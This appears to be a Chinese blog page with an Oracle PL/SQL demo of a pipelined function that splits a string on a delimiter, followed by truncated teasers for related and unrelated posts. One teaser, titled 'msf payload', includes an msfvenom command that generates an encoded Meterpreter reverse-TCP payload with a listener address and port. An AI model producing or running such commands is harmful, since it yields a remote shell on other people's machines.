Oracle PLSQL Demo - 24.分隔字符串function
-- refer:
-- http://www.cnblogs.com/gnielee/archive/2009/09/09/1563154.html
-- http://www.cnblogs.com/yudy/archive/2012/07/18/2597874.html CREATE OR REPLACE TYPE ty_str_split IS TABLE OF VARCHAR2 (4000); CREATE OR REPLACE FUNCTION splitstr(p_string IN VARCHAR2, p_delimiter IN VARCHAR2 := ',')
RETURN ty_str_split
PIPELINED
AS
v_length NUMBER := LENGTH(p_string);
v_start NUMBER := 1;
v_index NUMBER;
v_length_delimiter NUMBER := LENGTH(p_delimiter);
BEGIN
WHILE(v_start <= v_length) LOOP
v_index := INSTR(p_string, p_delimiter, v_start); IF v_index = 0 THEN
PIPE ROW(SUBSTR(p_string, v_start));
v_start := v_length + 1;
ELSE
PIPE ROW(SUBSTR(p_string, v_start, v_index - v_start));
v_start := v_index + v_length_delimiter;
END IF;
END LOOP; RETURN;
END splitstr;
Oracle PLSQL Demo - 24.分隔字符串function的更多相关文章
- Oracle PLSQL Demo - 18.02.管道function[查询零散的字段组成list管道返回] [字段必须对上]
--PACKAGE CREATE OR REPLACE PACKAGE test_141215 is TYPE type_ref IS record( ENAME ), SAL )); TYPE t_ ...
- Oracle PLSQL Demo - 18.01管道function[查询零散的字段组成list管道返回]
--PACKAGE CREATE OR REPLACE PACKAGE test_141213 is TYPE type_ref IS record( ENAME ), WORK_CITY ), SA ...
- Oracle PLSQL Demo - 22.查看字符串的长度[lengthb, length],判断字符串是否包含中文
--Count the length of string select lengthb('select * from scott.emp') as countted_by_byte, length(' ...
- Oracle PLSQL Demo - 29.01.Function结构模板 [无入参] [有返回]
CREATE OR REPLACE FUNCTION function_name RETURN DATE AS v_date DATE; BEGIN ; dbms_output.put_line(v_ ...
- Oracle PLSQL Demo - 19.管道function[查询整表组成list管道返回]
create or replace function function_demo RETURN emp PIPELINED as Type ref_cur_emp IS REF CURSOR RETU ...
- Oracle PLSQL Demo - 12.定义包体[Define PACKAGE BODY]
CREATE OR REPLACE PACKAGE BODY temp_package_demo is FUNCTION f_demo(userid NUMBER) RETURN BOOLEAN IS ...
- Oracle PLSQL Demo - 11.定义包头[Define PACKAGE]
CREATE OR REPLACE PACKAGE temp_package_demo is v_demo ); PROCEDURE p_demo_1(userid NUMBER DEFAULT v_ ...
- Oracle PLSQL Demo - 31.执行动态SQL拿一个返回值
DECLARE v_sql ) := ''; v_count NUMBER; BEGIN v_sql := v_sql || 'select count(1) from scott.emp t'; E ...
- Oracle PLSQL Demo - 27.Declare & Run Sample
declare v_sal ) :; begin --if you could not see the output in console, you should set output on firs ...
随机推荐
- msf payload
#clientmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.106 LPORT=9999 -e x86/shikata_ga_ ...
- 链接、ip地址及端口号
# encoding=utf-8 #python 2.7.10 #xiaodeng #链接(即报文如何通过传输控制协议链接从一个地方搬移到另外一个地方) #HTTP权威指南 13页 #TCP/IP # ...
- 网线/双绞线上各标识CAT, AWG, PR, UTP/STP/FTP/SFTP的含义
CAT5, CAT5e, CAT6 表示网线类别, 常见的有 CAT5, CAT5e, CAT6分别表示五类, 超五类, 六类网线 24AWG, 26AWG American Wire Gauge是美 ...
- 利用cURL会话获取一个网页
1.curl_init 作用: 初始化一个新的会话.返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用. 格式: curl_ ...
- 【微信小程序】:评论、回复和删除功能 -- 2017/7/14
1.理论核心:传参->pid,评论父id需要在wxml页面传递:小程序端和WEB端不同核心:前者操纵数据,后者操纵DOM元素对象 2.不废话,直接代码:wxml <view class=& ...
- 获取网站资源 getResourceAsStream
获取网站资源(重点) public void doGet(HttpServletRequest request, HttpServletResponse response)throws Servlet ...
- HDUOJ--4565 So Easy!
So Easy! Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others)Total Su ...
- js常用点
<span onClick="onDetail(this.id,'edit');" style="cursor: hand;color:black;" ...
- Jsp应用EL和JSTL实例对比。
普通方式: register.jsp <%@ page language="java" import="java.util.*" pageEncoding ...
- navicat 快速复制表所有字段
查询-新建查询-查询创建工具-选择表-全选字段-查询编辑器